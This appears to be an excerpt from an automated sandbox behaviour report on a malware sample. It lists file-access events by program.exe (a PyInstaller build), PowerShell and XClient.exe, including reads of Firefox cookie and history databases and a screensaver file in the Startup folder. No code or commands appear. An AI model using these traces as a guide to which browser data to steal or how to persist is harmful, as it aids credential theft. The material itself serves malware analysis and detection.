Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\_hashlib.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\_queue.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\program.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI44642\unicodedata.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\content-prefs.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\favicons.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\permissions.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\protections.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\webappsstore.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\storage\ls-archive.sqlite VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\Desktop\BJZFPPWAPT.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\Desktop\BJZFPPWAPT.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\Desktop\BJZFPPWAPT.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\ ? ? \Common Files\Desktop\BJZFPPWAPT.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\Desktop\BJZFPPWAPT.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	Queries volume information: C:\Users\user\Desktop\BNAGMGSPLO.jpg VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\XClient.exe	Queries volume information: C:\Users\user\AppData\Roaming\XClient.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
